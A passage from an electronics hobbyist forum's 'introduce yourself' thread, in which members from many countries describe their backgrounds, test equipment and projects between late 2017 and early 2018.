For my PhD in the'80s, I invented a laser light scattering method (Phase Analysis Light Scattering) for measuring the surface electrical charge on nanoparticles dispersed in liquids. Six major instrument manufacturers sell their versions and I have yet to get 'one red cent'. After 24 years working for the man in big pharma developing drug products, I left earlier this year to set about something I have wanted to do for years - set up my own instrument shop and build a cutting edge version of my original work. In part, this is because of the insane advances in electronics and drop in costs.

Although I'm good at knowing what I need a box of electronics to do, I'm somewhat challenged when it comes to designing/making fundamental circuits. Case in point - I need to measure current flowing through an electrochemical cell - without forking out $1500 for a used Keithley picoammeter. Imagine my delight that I found the uCurrent through this blog! It has saved me who knows how many weeks of frustration trying to do it myself. Also, because of this blog, I just bought a Rigol DS1104Z. It arrived yesterday and it is already proving to be worth every penny (the FFT function is wonderful). At this point, I'm at an advanced stage of proof-of-concept and basically cobbling things together to get the overall behavior I need. I've  got some amazingly inexpensive but excellent Chinese products off eBay including a 4-channel 200MHz DDS for $99. When I did my PhD, the equivalent functionality cost nearly $7K in '80s money.

John.
Title: Re: New Member, Please introduce yourself
Post by: manoj on December 04, 2017, 06:16:42 pm
Hi,
I am Manoj from India. I run a small company working in Solar EPC. Have worked for 17 years in HR, Finance & Marketing domains. Trying to learn Electronics for my new Project.
Regards to all Members.
Manoj
Title: Re: New Member, Please introduce yourself
Post by: RobBarter on December 04, 2017, 10:30:48 pm
Hi,
Rob from England.  Self employed software developer by trade, currently writing embedded software for a medical 7MV linear accelerator.  Ham Radio when not earning money but fortunately I like the paid work as well as the not paid :)   Recently bought a Siglent spectrum analyser to help with the 23cm build....wow, what a piece of kit! :)  Now looking to upgrade the Rigol scope.   There's something about the smell of solder in the morning...
Title: Re: New Member, Please introduce yourself
Post by: env23 on December 06, 2017, 09:07:42 am
Hi everyone.

John from Philippines. Doing mostly hobby stuff on HW level and professional on FW level with POS terminals and stuff like that.
Title: Re: New Member, Please introduce yourself
Post by: nicalitz on December 12, 2017, 06:57:16 pm
Hi all, Nico from South Africa! Not a lot of us it would seem. Studied electronic engineering undergrad, post graduate studies in satellite mission design and control systems. Working for an engineering company that develops small satellite subsystems. Can't believe it took me this long to discover this forum.
Title: Re: New Member, Please introduce yourself
Post by: jouko.perkkio on December 12, 2017, 07:30:22 pm
Hi, Jouko from Finland.

I've been working with embedded systems for > 10 years for now. My work consists of both software and hardware design. My passion is in combining these two; not just making a nice piece of hardware but to make it sing too! My semi-professional hobby is within drag racing and developing a data acquisition system for the very harsh conditions.. We have currently a well working, accurate and fast data acquisition system with web & SD-card interface to bring the data to PC for analysis. Great forum, somehow never got here before.
Title: Re: New Member, Please introduce yourself
Post by: Decoman on December 12, 2017, 07:43:12 pm
I am above 40, and only now do I find an interest in basic electronics. :)

I think I've managed to finally absorb some basic knowledge like: Volts=I*R and Watts=V*A

When I was a kid, like 7 y.o. or something like that, my father bought a test board or something, however I think his mistake was to assume that lighting up a damn LED off a 9V battery and playing with resistors would be that damn exciting to me. :D
Title: Re: New Member, Please introduce yourself
Post by: shawty on December 14, 2017, 12:08:11 pm
Hi,

I'm Shawty and I'm an.... OH OOP's sorry wrong forum... (Cough)     :-)

Now where was I, oh yes....

Hi All, new forum user here.

I'M "Peter 'Shawty' Shaw" (I more often use my Nick than my real name...) I'm a proud card carrying original 1980's UK Back Bedroom developer/Hacker type, and started with computers at around the age of 7 back in the Late 1970's

so yes I'm a bit of a Old B*****d now, not super old, but definitely heading in that general direction :-)

I'm mostly a Software Developer by Trade, but I like to think of my self as an all round Technologist, Iv'e forgotten more over the years than Iv'e learned, and among the things I know and do, I'm a fully experienced and Trained GSM Mobile communications engineer and ex UK Military radio tech.

These days, I own Digital Solutions Computer Software UK, not a huge company by any stretch of the imagination, but it keeps me out of mischeaf.

I'm a brit, yup that's obvious, but I'm one of those Nutty breeds of Brit known as a Geordie , well Geordie'ish, North Durham (I think the term is Pitmatic) to be precise, but unless your a fellow Brit and understand the Nuances of this wonderful land, Geordie usually suffices :-)

I have no problems with tearing stuff apart (First thing I ever took apart was my Grandads brand new TV set when I was just 3 yr old!), and I frequently believe in recycling used electronics for parts, rather than sending them to landfill.

And that's pretty much it for a forum intro, but there is more....   and if you want to know, then a quick google for "shawtyds", should find my blog at a minimum and a load of other stuff :-)

Shawty

PS: Yes, I am this nuts in real life.  If any of you have ever been on the official Raspberry PI forum, you've likely come across me on there too.
Title: Re: New Member, Please introduce yourself
Post by: EvilDNA127 on December 14, 2017, 07:54:46 pm
Hi, Dan from Nebraska in the Untied States. 

I once attempted EE education and burned out on that due to multiple factors, and now I'm getting back into tinkering with electronics.  Set up a bench and got some components to mess with.  Hopefully I'll poke my head in here every now and again. :D
Title: Re: New Member, Please introduce yourself
Post by: Dbhrs on December 14, 2017, 08:17:13 pm
Hi Darcy here.

Was introduced to electronics just a bit in my electrician course. I am just now starting to tinker with electronics.


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Title: Re: New Member, Please introduce yourself
Post by: huskee on December 17, 2017, 12:21:14 pm
Hi, my name is Xenofon and I'm from Greece. I'm 15 and trying to balance my time between electronics, computing, programming and school.
Title: Re: New Member, Please introduce yourself
Post by: tboy32 on December 18, 2017, 08:03:48 am
Hey all. I'm a long time forum lurker and I hope to make time to post a little more here. I've got an EE degree from about a decade ago but never got into the field professionally. I guess I felt my college classes were too "academic" with not nearly enough actual design/hands on time, which is what I like doing.

I really enjoy working on personal hobby projects with anything involving electronics or computers. I'm a self taught programmer and know just enough to make things work the way I want, but not enough to be comfortable letting anyone else see the mess I've written. I've learned KiCad and have designed probably a few dozen smallish boards using that suite over the past several years. I enjoy the whole design process from concept to schematic design to component selection to footprint design to board layout to assembly, software development and testing.


Title: Re: New Member, Please introduce yourself
Post by: Azu on December 18, 2017, 11:56:21 pm
Greetings everyone, My name is Angus, been lurking for a while now and I finally decided to register. I'm your typical enthusiast in all parts, cars, electronics, computers and now in audio.  ;D
Title: Re: New Member, Please introduce yourself
Post by: marcus_cdn on December 19, 2017, 02:20:58 am
I, I'm Marc from Montreal, Canada.

I studied electronics in college (80's); did not finish.  Had a chance to build OC-48 shelf processor cards for Nortel & went back to evening classes, hoping to be a technician; but, the company went belly up...  did not finish.  I'm now a quality inspector in the automotive industry.

I saw Dave's videos & my interest in electronics came back; my garage lab is almost done!  I'm interested in building test gear & guitar effects; I build my own computers & I use Ubuntu (16.04).

My best advice for those who start in electronics:  NEVER QUIT! & keep learning.

See you around!   :-+
Title: Re: New Member, Please introduce yourself
Post by: Kaziq on December 21, 2017, 09:01:53 am
Hi! (not a new member really, but only now I found this topic :))

I'm electronics engineer with some 10 years in the industry, and I loved Dave's channel the first time I saw it :).

I live in Poland, and I'm thinking about starting my own YT electronics channel in Polish. I think I can't manage one video per week minimum, so postponing for now :)

I specialize in microcontrollers (AVR and STM32 currently). I avoid analog stuff - too hard to understand for my digital mind :D.
Title: Re: New Member, Please introduce yourself
Post by: Ridocar on December 21, 2017, 03:03:17 pm
Hi, Ricardo here. I drive a truck for a living, but long time ago i did a study for electric engineer. The high-power-electric motors in factories, PLC-programming, that kind of stuff. I haven't been in electronics for a long time, but since i've discovered the EEVBlog on Youtube, it's attracting me again. I remember most of the stuff from school, but sometimes i'm still learning new things.
Title: Re: New Member, Please introduce yourself
Post by: kkessler on December 28, 2017, 04:20:22 pm
Hi I'm Kevin, and I live between Baltimore MD and Washington DC in the USA. I got my first computer in 1977 when my Dad bought a TRS-80, and from there I decided technology was going to be my career. I graduated in EE in 1987, but I quickly ended up working in the financial industry working on this new thing called the Internet, which kind of worked out.

After spending a couple of decades a few levels above the bare metal electrons and holes, a friend of mine introduced me to the Arduino, which opened to me the world of microcontrollers. Their simplicity and low-level understandability really reminds me of the old 8088 based PCs, compared to the massively complex beasts we use today, that no one person can have a complete, technically deep understanding of.  While I don't use Arduinos today, I would never underestimate the good they have done introducing new people to our hobby.
Title: Re: New Member, Please introduce yourself
Post by: HumbleDeer on January 03, 2018, 02:57:48 am
Hi!  :)

I'm Anna. I grew up and I reside in Flanders, Belgium. I'm.. roughly 16 years old.

I had interest in electronics from a young age, but rarely had access to tools nor knowledge to do anything marginally useful. I ended up destroying more than I repaired.  :palm:
Now I spend my life building cheap eBay Eardrum-Killer kits, repairing solid-state and the odd tube amplifier, preamplifiers and.. well.. Twiddling knobs on heaps of other audio gear!  :-/O

A little casual info about myself:
I'm a self-proclaimed rastafarian, but I stay away from the ganja and.. other herbs. That does not mean being with my friends doesn't give me the odd calm feeling.  8)
I love to think of things I want to make, but know I'll never make.
I spend 35 minutes each day combing all 3 feet of my hair. From root to tip.  ::)

I learned from Dave from a very young age too. Wasn't I.. 11, 12? Anyhow. I have a weird brain. I miss some chemicals. Why did you need to know that? Well... It means I never 'complete' my language learning period. Long story short: All the English vibes and accent-y things I have in me can be traced back to David Jones. The one and only!
If you ever happen to speak to me in person, over the internet, over the phone (unlikely) or over anything else, you'll definitely notice that tough aussie-accent. I like it, but I don't sound very feminine with the accent compared with.. "f*ed up body chemistry".

Well, enough said. If you want to know more neat-o facts, feel free to message me ;).

Cheers,
Anna.






Title: Re: New Member, Please introduce yourself
Post by: yorgabr on January 04, 2018, 07:39:53 pm
Hi, everyone!

I'm Marcio, from Brazil. I'm an electronics engineer from '80s. I've been working with telco, automation, signal processing, embedded systems, electronics warfare, power conversion, etc, since then.

Best regards and wishes for this new year!
Title: Re: New Member, Please introduce yourself
Post by: witnessmenow on January 08, 2018, 11:39:54 am
My name is Brian and I'm from Ireland. Recently married and have a 16 month old Daughter.

Technically I am Electronic and Computer engineer by qualification, but I really wouldn't count myself as one, after college I went into software development and have only really started getting back into hobby electronics in the last 18 months or so.

I have a YT channel where I mainly work with the ESP8266, I think it is incredible what a $2 can do! My videos are mainly either project videos or information on libraries and tools.

I won't be able to contribute too much from an electronics perspective on the forum (hopefully will be able to learn loads though), but hopefully I might be able to help people from a software side of things!

My name made a brief appearance on the EEVblog before, in Dave's ESp8266 video it was my YouTube API library that he used (which eventually became part of his NixieTube counter), silly as it might be I was actually really proud of this!
Title: Re: New Member, Please introduce yourself
Post by: nealfox on January 13, 2018, 07:18:26 pm
Hi, my name is Neal, I am a EE that retired in 2006 to live aboard a sailboat, cruising up and down the East coast.  I’ve now stop sailing and moved back on land in Florida.  I have been away from electronics since retirement.  Now that I am back on land I want to start catching back up, so I am setting up a small lab on a very limited budget. 
In my 40+ year career I specialized in digital and ASIC design.  Thus, I never had the opportunity to do analog design.  So, my emphasis will be analog design plus playing with Arduino etc.  I have The Art of Electronics, 3rd edition plus the companion book Learning The Art of Electronics and my intend is to do all the labs in the book.
Title: Re: New Member, Please introduce yourself
Post by: cowasaki on January 15, 2018, 10:33:25 am
I joined the forum about a week ago and have made a few posts but hadn't seen this thread.

Basically I've been very interested in computers since I was about 12 and my brother got a VIC20 for Christmas, "to help with his education"......  When he wasn't playing games on it I started to try some programming but without much help didn't get far.  I then got an Amstrad CPC464 followed by a 6128 whilst also programming on the BBC model B at school and friends.  I got into assembly language and wrote an add on utility ROM for the CPC whilst still at school.  My first taste of electronics was at school but the teacher was rubbish and it literally became a lesson of trying to keep up writing down a mass of stuff he wrote on the board! 

Anyway once I went to college I took A level electronic systems and in the early 90s was a component level Acorn service engineer on the BBC micro series and more so the Archimedes.

Since then I've taught myself more and developed a stop motion photography interface with modules for sound, beam breaking, solenoid control, water droplet etc which sold a good few units.

Now it's a hobby and my interests are micro controllers, vintage computers, repairs, home automation and general "playing".....
Title: Re: New Member, Please introduce yourself
Post by: blaze1024 on January 16, 2018, 02:59:36 pm
Good morning, Lots of good information and talented people here. I've been reading and watching Daves videos for a long time and thought I would finally register and say hello.

Best Regards
Dan
 
Title: Re: New Member, Please introduce yourself
Post by: xtjacob on January 18, 2018, 09:18:47 pm
Hi all,
I'm xtjacob. I work as an FPGA engineering and have worked on a lot of various personal projects/school projects over the years. My favorite project was the chicken cannon that I designed an wireless electrical system for in college. Currently I'm working on launching my second high altitude balloon with a bunch of sensors and a 900 MHz radio link. It's fun stuff.
Title: Re: New Member, Please introduce yourself
Post by: acecase on January 21, 2018, 06:16:46 pm
My name is Harley.

I'm not an electronics professional, or student. Just like to tinker. Lately I have been playing around with a lot more Arduino kit piece type stuff. I have a love/hate going with how inexpensive these things are getting. On one hand it feels like it devalues all the time and money I spent getting setup for programming MCs years ago, but on the other hand it's dirt cheap and fast to grab something like an Arduino Nano and blast out prototypes and test ideas. And then there's all the little sensor boards and displays and such for next to no money! <- I almost let that become a rant.

I'm a typical Jack of all trades. I learn things as I need them; and then forget them most times before I need them again. Lately I've been playing with a lot of home security (most recently an RF connected remote "person" detector), and since I recently got my HAM license I've been looking at a lot of RF stuff (holy ****, there's a lot more to that field than I would have guessed. A whole new world.)

Title: Re: New Member, Please introduce yourself
Post by: slugg on January 26, 2018, 01:21:48 am
Hey folks,

I like to mess around with electronics from time to time. I've watched quite a few of the EEVBlog videos on youtube and finally wound up over here.

Slugg

Title: Re: New Member, Please introduce yourself
Post by: zorkmids on January 29, 2018, 08:45:28 pm
Hey everyone, I've been putting together kits and dabbling in fixing electronics since I was young and RadioShack was still selling the good stuff. Now I work in IT and have been messing around with arduinos, raspberry pi and putting esp8266 modules in everything.

But I notice I have no idea what BigClive is talking about when he looks at the insides of a LED lamp and declares "that's a capacitive dropper" so I'm hoping to teach myself a little more of the theory and practice of these electronics.
Title: Re: New Member, Please introduce yourself
Post by: stian on February 02, 2018, 05:31:14 am
Hello.

My name is Stian and i am from Norway.
I have been following Dave's channel on youtube for some time now. Its simply the best EE channel on YT.
I have had electronics as a hobby for a few years now.
Watching Daves YT videos has been a great way to expand my knowledge and he has many great tips "for young players".

Keep up the awsome work Dave :)
Title: Re: New Member, Please introduce yourself
Post by: me.rishabh12 on February 05, 2018, 03:11:59 pm
Hi i m Rishabh from India i love electronics design currently im working in industrial IOT 
its a great place to learn electronics and discuss something with like minded people
Title: Re: New Member, Please introduce yourself
Post by: TurboSam on February 16, 2018, 03:05:51 am
Greetings.  My name is (duh!) Sam, and I am a retired old f*rt in Seattle.

In my younger (glory) years, I was an electronics nerd (think: Heathkit), and my first project was from the May 1966 issue of Popular Electronics.  Not being a great speller, when good Sister Mary asked in fourth grade what we wanted to be when we grew up, I couldn't spell "engineer" (but I could spell "lawyer"), and the proverbial die was then cast.  I ended up as the legal/business development executive in a OEM hardware manufacturing company, handling M&A as well as licensing deals with all the big boys (think:  big blue, michael, and carly). 

Now retired, I've gone back to being a engineering nerd, and am exploring and testing custom circuits for use in IR occupancy detection, home automation, networks, and general electronics. 

I tend to be afflicted by "paralysis by analysis" and can spend hours/days researching projects I'm interested in, circuits I want to build, and other rabbit holes.  A variant of OCD, I'm sure. 

I have a Tek 2247A that I bought several years ago I am now finally plumbing the depths of it and look forward to doing more with it.

I've been active on a couple of home automation forums for years, and as I scale the learning curve here, expect to do the same.   :-+

Stay tuned...

TS

Title: Re: New Member, Please introduce yourself
Post by: iaso on February 16, 2018, 11:25:25 am
Hi! My name is Seb, a long long time viewer on the EEVBLog Youtube channel and a listener to the Amp hour since around episode 100.

Professionally I don't have any linkage to electronics engineering or basically anything that would have a direct or indirect link to the field. I fill my days as a Quality Manager in a large (15K employee) tier 1 automotive supplier, a typical clipboard warrior of sorts.

Privately I was always very interested, hence my viewership. Recently I decided to take the plunge to be more practical. I bought a soldering kit, a whole box of basic "projects" from aliexpress and a bunch of goodies. Messing these up doesn't really matter financially so I figured it's a great way to learn. And yes, I've let the smoke out plenty of times, reading resistor values is not always easy ;))

Learning the works mostly online whenever the need for a certain topic comes up and I eager to start designing basic things myself soon.

Hope that I can be a valuable member of this community.
Title: Re: New Member, Please introduce yourself
Post by: mesodumb on February 16, 2018, 03:16:10 pm
HI. The names Raymond. Ive been a browsing as a guest for years. Normally, too lazy to complete a registration form. However, I finally filled out the form and hit the reg button...plus all the "are you a real person hurdles". Currently, reside in Georgia, USA. I like to tinker and repair. Sometime Im a professional, but mostly I like to jump in and break stuff til it works. :-DD

Recently Ive been upgrading equipment for bench and mostly used the site for sniffing out the dirt on manufacturers. However, I figured it was time to add some feedback into the mix. Once my new pace desolder station arrives, Ill be starting with that.

 
Title: Re: New Member, Please introduce yourself
Post by: kamran on February 16, 2018, 08:15:29 pm
Hello,

My name is Sam. I have been lurking for a while but never had the courage to post.

In my younger days, I was a network engineer. These days I moonlight as a cybersecurity analyst and dabble with arduino and raspberry Pi.  I have started to assemble a lab starting with Hakko 888 and a BK power supply. Am also very interested in home automation and am playing with HA and SmartThings.

Hope to learn more from the community and contribute.

Title: Re: New Member, Please introduce yourself
Post by: TurboSam on February 16, 2018, 09:41:34 pm
Am also very interested in home automation and am playing with HA and SmartThings.

@kamran:  Sam, you might want to check out my other favorite forum: Coccontech.  Lots on HA, home security, zwave, etc. 
Title: Re: New Member, Please introduce yourself
Post by: plew_ar on February 17, 2018, 06:07:22 am
Guess I'll slap a little bio down...

Richard here,

I dabble in pretty much everything. Currently finishing up a tinyhome/mobile lab with work & gaming in between. Not the greatest with a welder or soldering iron but I get the job done. Always loved electronics/computers but for some reason I picked the Networking field.

Somehow I found the youtube page last week and been loving the vids. Been looking for a community to be apart of and hopefully this place is it. Sorta miss my old gaming 'guilds/clans' I used to be in years ago.

Anyway, Cheers!
:blah:
Title: Re: New Member, Please introduce yourself
Post by: Johnboy on February 17, 2018, 11:45:01 pm
My second post in this forum.

I'm a recording engineer, ham/marine radio operator, and electronics hobbyist who found myself led from search engines to this forum over and over, until I finally decided to register and cut the engines out of the loop.

So far, I am very much impressed with the quality of freely shared content, as well as the general air of camaraderie around here.
Title: Re: New Member, Please introduce yourself
Post by: Sehsuan on February 18, 2018, 03:03:21 am
Suan (read "Swan") from Singapore here! I'm working in the insurance line as a sales agent over the past decade - previously a physical education teacher.

Just stumbled across EEVBlog while hunting down for a multimeter and wondering why there was an Aussie guy with so many multimeters in front of him... while I was trying to fix up a table fan a neighbour gave me and told me that it was spoilt, as well as trying to install a LED light strip for my kitchen.

4+ years before, I got a donky UNI-T UT10A (bought it overpriced at a local store for about 35 AUD in 2014, going for 10 AUD in 2017?!!?) when solely for the purpose of trying to figure out if the Peltier junction of my dry cabinet was spoilt... never dabbled enough because I was thinking it was so difficult to troubleshoot as I don't exactly recall much from my Physics textbook for the GCE O level for electrical/electronic circuits back in 1995. The distributor for the dry cabinet told me that they only sold the ENTIRE Peltier unit with adapter for 120 SGD (roughly 110 AUD) but I thought I shouldn't spend that much for fixing the dry cabinet because it cost me only 160 SGD (roughly 150 AUD) to begin with! After I started watching EEVBlog videos in 2017 and such to learn about safety (our mains are 220V here), I used the newly bought 8236 to diagnose my Peltier unit and deduced that it was the AC->DC adapter that was a goner. Bought a refurbished unit from China via Taobao for about 6 AUD, and my dry cabinet is back to chugging along!  :box:

I eventually got the Hyelec/Peakmeter 8236 and 2028B late last year, am considering if it makes any sense to get a 50,000 count 121GeeWhiz if extra cash plops on my lap...
PM8236 - http://www.peak-meter.com/product/detail/98 (http://www.peak-meter.com/product/detail/98)
PM2128 -

About the same time last year, I also gingerly worked on the lights in the kitchen and managed not to kill myself when once while thinking of measuring current, I ended up short circuiting the light circuit thinking that because there was a load on the far end, by probing Live and Neutral on the Current mode of my 8236! Saw sparks and yeah, it was a good revision on what NOT to do!  :-DD Also picked up the idea of getting heatshrink and soldering to get the runs of cables firmly connected for good and to prevent shorting.

I bought a little lot of Chinese designed DIY kits such as solder-it-yourself LED clocks and such to practice soldering, and what I thought was initially a steal on a Hakko 888 turned out to be a clone, and ended up buying the 888D recently and loved it! All over my 38 years I thought soldering was a dark art, however after watching Dave's tutorials on soldering, I took up that reassuring chill factor and got the basics - although I'm sure I have much more room to make improvements in! The thin solder and chisel tip choices were stellar for my beginner's purposes... Thanks Dave!

Would love to be able to come across those dumpsters with that much goodies that Dave has been posting on Youtube, it's quite a blast to repair electronic stuff that people junk to create new value out of them! (http://www.peak-meter.com/product/detail/137/url)
Title: Re: New Member, Please introduce yourself
Post by: gdombi on February 18, 2018, 09:47:25 pm
Hi, I'm Gaston. Software engineer for almost 30 years. Always had an interest in robotics or electronics but never found the chance to dive into this fascinating world. Arduino and Raspberry Pi change this for me and created an easy way to introduce me into this world. Found very valuable information in this forum so I decided to recently join. So much to learn ...

Thanks for this vibrant and passionate community.
Gaston
Title: Re: New Member, Please introduce yourself
Post by: Mox on February 19, 2018, 09:12:05 pm
Hi,

My names Mike, been an electronics hobbyist and working as a systems analyst and then health physicist for the best part of 15 years. Always ended up visiting here when researching optics and thermal vision, so decided to take the plunge. I'm also a radio amateur and enjoy collecting military radios, especially Warsaw Pact stuff and do Cold War displays at various military shows across the country.

Looking forward to having an illuminating time here.

Mike
Title: Re: New Member, Please introduce yourself
Post by: YO5ER on February 20, 2018, 09:31:49 pm
Hi, I'm Septy and I'm new here from Romania. Many times I read good things here as a guest but, now I had to register :D Life it's short, you must be in here :-DD I use to work with little things as I repair cellphones at my GSM Service and I also love hamradio being "one of them"  :-+
Title: Re: New Member, Please introduce yourself
Post by: Bear207 on February 21, 2018, 11:30:19 pm
Greetings and thank you to all the posters for a truly fantastic forum. 

Since age six I've tangled with electricity to one degree or another and now manage access control and physical security systems for....well can't really say.  Throughout all these years my education has been hands on....trying not to let the magic smoke escape while at the same time directing that smoke to do my bidding. 

Setting up my home electronics lab for real.  Finally finding the time as I get older to play with my long time passion for electronics.  Here is hoping I may be able to contribute to the forum and give back for the great information I've already gleaned. 

Best regards
GaryT  Maine USA
Title: Re: New Member, Please introduce yourself
Post by: Adgj533 on February 22, 2018, 06:08:44 am
Hi, My name is John. I am from NY, USA. I am new to this forums, recently found out about EEVblog and been binge watching all the videos. I feel like I learn/absorb more info from Dave rather than in class.
My major is EE and I love electronics. Hopefully one day i can work on computer/motherboards, that is my dream.
I already asked this community for some help with beginner equipment and the responses I got was over whelming. This is clearly a great community and I am proud to be a part of it.
Title: Re: New Member, Please introduce yourself
Post by: psysc0rpi0n on February 24, 2018, 02:58:54 pm
Hello.

I'm not new in the forum but only now seen this thread.
My name is José Carlos and I'm from Portugal.
I'm completing this year my Electrical Engineering graduation if everything goes smooth!

I like programming, microcontrollers and electronics despite the fact that I'm noob. I have very little knowledge and I want to learn.

Cheers
Psy
Title: Re: New Member, Please introduce yourself
Post by: tomduly on February 26, 2018, 05:46:23 pm
Hi, I'm Tom, Electronics engineer since 20+ years.

When I was a student, I ran a small pro audio business, designing custom P.A. systems mainly based on Fane Studio loudspeakers, and renting audio and lighting stuff for local events.
My very first task as junior engineer was debugging ASIC prototypes with embedded microntrollers (PIC clones), directly on a HP83k harware tester, emulating ROM. Shortly after that, I got the chance to jump into an European-funded research project, developing the very first GSM handset with integrated GPS receiver - intended to be used as emergency phone for people with age or health issues.

Then, I tried to get rich founding a Dot com company - on location-based services. Our lawyers were the only ones, who got rich, so we quit that adventure in time before we got ruined.
Later, just before Fukushima nuclear disaster, I was contracted by a small manufacturer of radiation meters. We improved the product design (more than 20 years continuous operation with one internal Li battery) and were just rearranging the manufacturing process a little bit, when these power plants in Japan failed. Boy, the geiger counters were sold out within days and the prices for GM tubes tripled. For a couple of years, their radiation meter production had to be split to several subcontractors, to cover the demand.
Meanwhile, my work is mostly releated to microelectronics research at a research institute.

Cheers,
Tom
Title: Re: New Member, Please introduce yourself
Post by: ericasdf on March 01, 2018, 05:35:53 pm
Hi, My name is Eric.

Been working in the electronics industry for over 20 years. I do mostly medical and industrial control applications. I love doing both the electronic design and the firmware for control, but if I had to pick one it would be embedded software.

Have been looking for my next spectrum analyzer and have been reading up on the Rigol and Siglent. Now that I have sold my Agilent SA, I have to make a decision and have hit the point of needing to get involved in the community.
Title: Re: New Member, Please introduce yourself
Post by: gavwhela on March 02, 2018, 12:00:12 pm
Hi, I'm Gavin. I am a computer scientist by education, but I end up spending a lot of time learning electronics as a hobby. I've basically become a bit of a vintage scope collector, and have recently managed one of my first real oscilloscope repairs.

I'd like to learn enough to start doing some basic analog circuit design, and would like to play around with some DIY EMG/EKG/EEG projects. But then again I have more projects than I know what to do with.

For my job I do remote software development contracting.

I'm also an extra class amateur radio operator, and involved in my local hackerspace.
Title: Re: New Member, Please introduce yourself
Post by: Taelonious on March 04, 2018, 01:28:35 am
Howdy,

I've always had a interest to learn about electricity and electronics, but didn't discover how much of a passion I had for it until a few years ago. So, I came back to college after a few decades of finish carpentry and I'm now an electrical engineering student about halfway through my second year.

I stumbled onto the EEVBlog YouTube channel a while back and have been a fan ever since. Thought I'd finally join the forum to ask a few silly questions and haggle on some lab stuff.  :P
Title: Re: New Member, Please introduce yourself
Post by: MadnessUNC on March 04, 2018, 03:06:15 pm
Hi, I’m beau and I love tinkering with electronics. I got into game console repair a couple of years ago and I can’t get enough. The process of getting a good deal on a “broken” console, the therapy of getting it clean and diagnosing and the thrill of plugging it in and it works is a wonderful process. I recently am into modding systems as well.
I’ve stalked this forum forever, but never registered because I rarely have anything to add. My questions are answered with a search and others questions are answered by people with more prowess than I. Here I am anyway!
Title: Re: New Member, Please introduce yourself
Post by: jbeach on March 05, 2018, 07:14:21 pm
YAY I found the new person thread.
Hi,
I'm Jonathan. I Live in Wisconsin.  I've loved electronics since I was a kid. I was always taking stuff apart. I currently work as an aircraft mechanic, with specalisation in the electrical systems.
Title: Re: New Member, Please introduce yourself
Post by: Icemncmth on March 07, 2018, 01:22:38 am
I'm Mack and live in the middle of the US and in the middle of nowhere. Im an electronics tech and have been doing so for a long time. I have been a lurker on this forum for a while now. I really just love learning .
Title: Re: New Member, Please introduce yourself
Post by: JorgeRamos1 on March 10, 2018, 07:17:29 pm
Hi
jorge Ramos Im a 22 year old student from Mexico , studing electronic engeenier  and electronic design nobie but for hobby
Title: Re: New Member, Please introduce yourself
Post by: Aleph on March 10, 2018, 07:41:43 pm
Hi,
I am Cengiz from Turkey. I am a mechanical engineer and I am working as patent examiner at national patent office. Got myself interested in electronics somehow and found myself in here :) Thanks to all who has contributed to this lovely community forum..
Title: Re: New Member, Please introduce yourself
Post by: tfr000 on March 10, 2018, 09:33:27 pm
Hello all...
Newbie in this forum, about which I have read much in some other forums!
You might see me asking questions about old test equipment.
Title: Re: New Member, Please introduce yourself
Post by: ogdento on March 11, 2018, 06:09:03 am
Hi, my name is Tom and I've been reading Dave's blog and watching his videos for many years.  Recently found a forum post about cheap used Keysight scopes so I picked one up (thank you!) and I figured I'd finally register. 

I am an engineer during the day and a maker/hacker in my free time who loves fixing stuff to keep it out of the land fill.
Title: Re: New Member, Please introduce yourself
Post by: JohnMc on March 11, 2018, 07:22:28 am
Hello

My name is John. I am from Ontario, Canada but in Bangkok, Thailand for a couple months opening a factory. I am more of a mechanical type being a machinist. But have always had a interest in electronics. Played around as a kid with both a 60-70's vintage hobby set that my father had bought himself to try and teach himself some electronics as a adult and a 80's set I bought myself. Still remember my dad telling me when he bought his kit the store clerk saying that he had a lot of guys buying them for there "nephew"  Have not done anything in a couple decades then started watching AVE a little over a year ago, that led to BigClive and a renewed interest. Was hoping to spend this winter with the old sets and a bunch of DIY soldering kits from ebay but this posting to Thailand came up. YouTube has been my TV here. I was aware of Dave and EEVblog from AVE and BigClive but had never watched till a couple weeks ago. Really enjoying it and love the old electronics teardowns. It's a trip down memory lane as I have or have used a number of the items.       
Title: Re: New Member, Please introduce yourself
Post by: clarks on March 12, 2018, 05:56:49 pm
Hello everybody!

I'm Clark. I am a retired electrical engineer. I live in Topeka, KS. Today is the first time I checked this forum. I am happy to see there is a wealth of information here. I'm selling a Fluke 92B ScopeMeter and once it is sold I'm going to buy a bench top scope. I hope this forum can educate me on good scopes.

Before I retired, I designed and installed industrial control systems. I've worked in several industries - oil and gas, wood products (lumber and plywood manufacturing), concrete plants, water treatment, sewage treatment...to name a few. I even had a fun gig developing a telephone switch for prepaid cellular. For most of my career I did a lot of software development, mostly on SCADA systems. My last job was developing a data acquisition devise to acquire data from down hole sensors in oil wells. The device acquired the data, encrypted it, and transmitted it to central servers. It also allowed remote reconfiguration of the device and the downhole sensors.

Now that I am retired, I'm doing more embedded software development. I absolutely love the ESP32 micro controller made by Espressif. Right now I'm working on drivers for servo, stepper, and DC motor control using this chip. I'm also trying to figure out what project I should build when I get those drivers working.

I'm also contemplating getting a 3D printer. The new Prusa i3 Mk 3 has my attention!

I'm also a long time viewer of the YouTube channel.

I'm looking forward to getting involved in this forum.

Clark
Title: Re: New Member, Please introduce yourself
Post by: Edison on March 16, 2018, 10:45:21 pm
Hello, I'll try it in English and help with the Google translator - my English is not good.

First of all let me introduce myself (I'm writing this fantastic forum first) I'm Tomas I'm from Prague and since I left Mom's belly I'm interested in electro when I was older I added the mechanics (6 years - the first functional telegraph and repaired alarm) I later added work with wood, motorbikes and cars. After school, I worked in a laboratory for the operational research and development of an international telephone exchange, now as a service technician in the field of industrial gastronomy and servicing our production hall for processing of stainless steel (CNC, hydraulic and mechanical forming machines)

I would like to thank the founder of this amazing forum, I discovered it sometime ago, and since then it's not a day for me to say no, or to watch a video on Youtube. I found a lot of good advice and interesting ideas. Originally I wanted to introduce myself in the topic "How does your lab that looks like" to contribute something too, the post was uploaded but did not appear :(  i am trotl - big photos :)

Beautiful day wishes Tomas
Title: Re: New Member, Please introduce yourself
Post by: rpmilius on March 19, 2018, 05:28:45 am
Hello from Minnesota, USA. I’m a hobbyist that has dabbled/tinkered with electronics, but never seriously. Recently stumbled upon Dave’s YouTube and found this forum. I just bought a BM235 DDM, a few breadboards and components and a few small cheap kit to practice soldering. I’m interested in learning to repair some old audio equipment I have and looking forward to learning a lot from this group.

Bob
Title: Re: New Member, Please introduce yourself
Post by: LoveToRepair on March 19, 2018, 06:52:40 pm
Hello My name is Jarrod.  I have been repairing my own products since i can remember.  And I love learning about electronics
Title: Re: New Member, Please introduce yourself
Post by: cwerther on March 20, 2018, 01:58:22 pm
Hi all,

